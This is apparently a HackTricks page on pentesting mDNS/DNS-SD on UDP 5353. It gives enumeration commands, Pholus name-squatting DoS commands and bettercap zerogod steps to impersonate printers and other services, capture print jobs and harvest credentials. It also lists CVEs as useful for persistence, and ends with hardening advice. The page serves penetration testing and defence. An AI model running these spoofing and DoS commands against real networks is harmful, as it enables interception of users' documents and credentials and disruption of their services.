5353/UDP Multicast DNS (mDNS) 和 DNS-SD

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

Multicast DNS (mDNS) 在没有单播 DNS 服务器的本地链路内提供类似 DNS 的名称解析和服务发现。它使用 UDP/5353 和组播地址 224.0.0.251 (IPv4) 和 FF02::FB (IPv6)。DNS Service Discovery (DNS-SD,通常与 mDNS 一起使用) 提供了一种通过 PTR、SRV 和 TXT 记录枚举和描述服务的标准化方式。

PORT     STATE SERVICE
5353/udp open  zeroconf

在攻击中经常会利用的关键协议细节:

  • .local 区域中的名称通过 mDNS 解析。
  • QU (Query Unicast) 位可能请求 unicast 回复,即使针对多播查询。
  • 实现应当忽略非来自本地链路的报文;但一些网络栈仍然接受它们。
  • 探测/公告阶段会强制唯一的主机/服务名;在此干扰会造成 DoS/“name squatting” 条件。

DNS-SD 服务模型

服务在 .local 下以 _._tcp 或 _._udp 形式标识,例如 _ipp._tcp.local(打印机)、_airplay._tcp.local(AirPlay)、_adb._tcp.local(Android Debug Bridge)等。使用 _services._dns-sd._udp.local 来发现类型,然后将发现的实例解析为 SRV/TXT/A/AAAA。

网络探索与枚举

  • nmap 目标扫描(对主机上的直接 mDNS):
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • nmap 广播发现(监听网段并枚举所有 DNS-SD 类型/实例):
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse(Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
  • Apple dns-sd(macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
  • 使用 tshark 进行数据包捕获:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

提示:一些浏览器/WebRTC 使用临时 mDNS 主机名来掩盖本地 IP。如果在线路上看到 random-UUID.local 之类的候选名,通过 mDNS 解析它们以转向本地 IP。

攻击

mDNS 名称探测干扰(DoS / name squatting)

在探测阶段,主机会检查名称的唯一性。用伪造的冲突响应会迫使其选择新的名称或失败。这可以延迟或阻止服务注册与发现。

使用 Pholus 的示例:

# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

服务伪装与冒充 (MitM)

冒充被宣传的 DNS-SD 服务(打印机、AirPlay、HTTP、文件共享),以强制客户端连接到你。 这在以下场景尤其有用:

  • 通过伪造 _ipp._tcp 或 _printer._tcp 来捕获文档。
  • 引诱客户端访问 HTTP/HTTPS 服务以收集 tokens/cookies 或传送 payloads。
  • 当 Windows 客户端与被伪造的服务协商 auth 时,可与 NTLM relay 技术结合使用。

使用 bettercap 的 zerogod 模块 (mDNS/DNS-SD spoofer/impersonator):

# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Notes on recent implementation issues (useful for DoS/persistence during engagements)

  • Avahi reachable-assertion and D-Bus crash bugs (2023) can terminate avahi-daemon on Linux distributions (e.g. CVE-2023-38469..38473, CVE-2023-1981), disrupting service discovery on target hosts until restart.
    • Avahi reachable-assertion 和 D-Bus 崩溃漏洞(2023)可能导致 Linux 发行版上的 avahi-daemon 终止(例如 CVE-2023-38469..38473、CVE-2023-1981),在重启前中断目标主机的服务发现。
  • Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) lets adjacent WLAN clients flood crafted mDNS, spiking WLC CPU and dropping AP tunnels—handy if you need to force client roaming or controller resets during an engagement.
    • Cisco IOS XE Wireless LAN Controller mDNS gateway DoS(CVE-2024-20303)允许相邻的 WLAN 客户端泛滥精心构造的 mDNS,导致 WLC CPU 飙升并丢弃 AP 隧道——如果在演练中需要强制客户端漫游或重置控制器,这一点非常有用。
  • Apple mDNSResponder logic error DoS (CVE-2024-44183) lets a sandboxed local process crash Bonjour to briefly suppress service publication/lookup on Apple endpoints; patched in current iOS/macOS releases.
    • Apple mDNSResponder 逻辑错误 DoS(CVE-2024-44183)允许沙箱内的本地进程使 Bonjour 崩溃,从而短暂抑制 Apple 端点上的服务发布/查找;已在当前 iOS/macOS 版本中修补。
  • Apple mDNSResponder correctness issue (CVE-2025-31222) allowed local privilege escalation via mDNSResponder; useful for persistence on unmanaged Macs/iPhones, fixed in recent iOS/macOS updates.
    • Apple mDNSResponder 的正确性问题(CVE-2025-31222)允许通过 mDNSResponder 进行本地提权;在未受管理的 Mac/iPhone 上可用于 persistence,已在近期 iOS/macOS 更新中修复。

Browser/WebRTC mDNS considerations

Modern Chromium/Firefox obfuscate host candidates with random mDNS names. You can re-expose LAN IPs on managed endpoints by pushing the Chrome policy WebRtcLocalIpsAllowedUrls (or toggling chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/Edge equivalent) so ICE exposes host candidates instead of mDNS; set via HKLM\Software\Policies\Google\Chrome.

  • 现代 Chromium/Firefox 使用随机的 mDNS 名称来混淆 host candidates。你可以通过下发 Chrome 策略 WebRtcLocalIpsAllowedUrls(或切换 chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/Edge 等效选项)在受管端点上重新暴露 LAN IP,使 ICE 暴露 host candidates 而不是 mDNS;通过 HKLM\Software\Policies\Google\Chrome 设置。

When users disable the protection manually (common in WebRTC troubleshooting guides), their browsers start advertising plain host candidates again, which you can capture via mDNS or ICE signaling to speed up host discovery.

  • 当用户手动禁用该保护(在 WebRTC 故障排除指南中常见)时,浏览器会重新开始广播普通的 host candidates,你可以通过 mDNS 或 ICE 信令捕获这些信息以加速主机发现。

Defensive considerations and OPSEC

  • Segment boundaries: Don’t route 224.0.0.251/FF02::FB between security zones unless an mDNS gateway is explicitly required. If you must bridge discovery, prefer allowlists and rate limits.
    • 分段边界:除非明确需要 mDNS gateway,否则不要在安全区域之间路由 224.0.0.251/FF02::FB。如果必须桥接发现,优先使用允许列表和速率限制。
  • Windows endpoints/servers:
  • To hard-disable name resolution via mDNS set the registry value and reboot:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • Windows 端点/服务器:
  • 要通过 mDNS 强制禁用名称解析,请设置以下注册表值并重启: (注册表项见上)
  • In managed environments, disable the built-in “mDNS (UDP-In)” Windows Defender Firewall rule (at least on the Domain profile) to prevent inbound mDNS processing while preserving home/roaming functionality.
    • 在受管环境中,禁用内置的 “mDNS (UDP-In)” Windows Defender Firewall 规则(至少在域配置文件上),以防止入站 mDNS 处理,同时保留家庭/漫游功能。
  • On newer Windows 11 builds/GPO templates, use the policy “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” and set it to Disabled.
    • 在较新的 Windows 11 构建/GPO 模板上,使用策略 “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” 并将其设置为 Disabled。
  • Linux (Avahi):
  • Lock down publishing when not needed: set disable-publishing=yes, and restrict interfaces with allow-interfaces= / deny-interfaces= in /etc/avahi/avahi-daemon.conf.
    • Linux (Avahi):
    • 在不需要时锁定发布:在 /etc/avahi/avahi-daemon.conf 中设置 disable-publishing=yes,并使用 allow-interfaces= / deny-interfaces= 限制接口。
  • Consider check-response-ttl=yes and avoid enable-reflector=yes unless strictly required; prefer reflect-filters= allowlists when reflecting.
    • 考虑使用 check-response-ttl=yes 并避免启用 enable-reflector=yes,除非确实需要;在进行反射时优先使用 reflect-filters= 允许列表。
  • macOS: Restrict inbound mDNS at host/network firewalls when Bonjour discovery is not needed for specific subnets.
    • macOS:当特定子网不需要 Bonjour 发现时,在主机/网络防火墙上限制入站 mDNS。
  • Monitoring: Alert on unusual surges in _services._dns-sd._udp.local queries or sudden changes in SRV/TXT of critical services; these are indicators of spoofing or service impersonation.
    • 监控:对 _services._dns-sd._udp.local 查询中的异常激增或关键服务 SRV/TXT 的突然变化发出警报;这些是 spoofing 或服务冒充的指示器。

Tooling quick reference

  • nmap NSE: dns-service-discovery and broadcast-dns-service-discovery.
  • Pholus: active scan, reverse mDNS sweeps, DoS and spoofing helpers.
    • Pholus:主动扫描、反向 mDNS 扫描、DoS 和 spoofing 辅助工具。
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod: discover, save, advertise, and impersonate mDNS/DNS-SD services (see examples above).
    • bettercap zerogod:发现、保存、广播并冒充 mDNS/DNS-SD 服务(参见上例)。

Spoofing/MitM

The most interesting attack you can perform over this service is to perform a MitM in the communication between the client and the real server. You might be able to obtain sensitive files (MitM the communication with the printer) or even credentials (Windows authentication).
For more information check:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks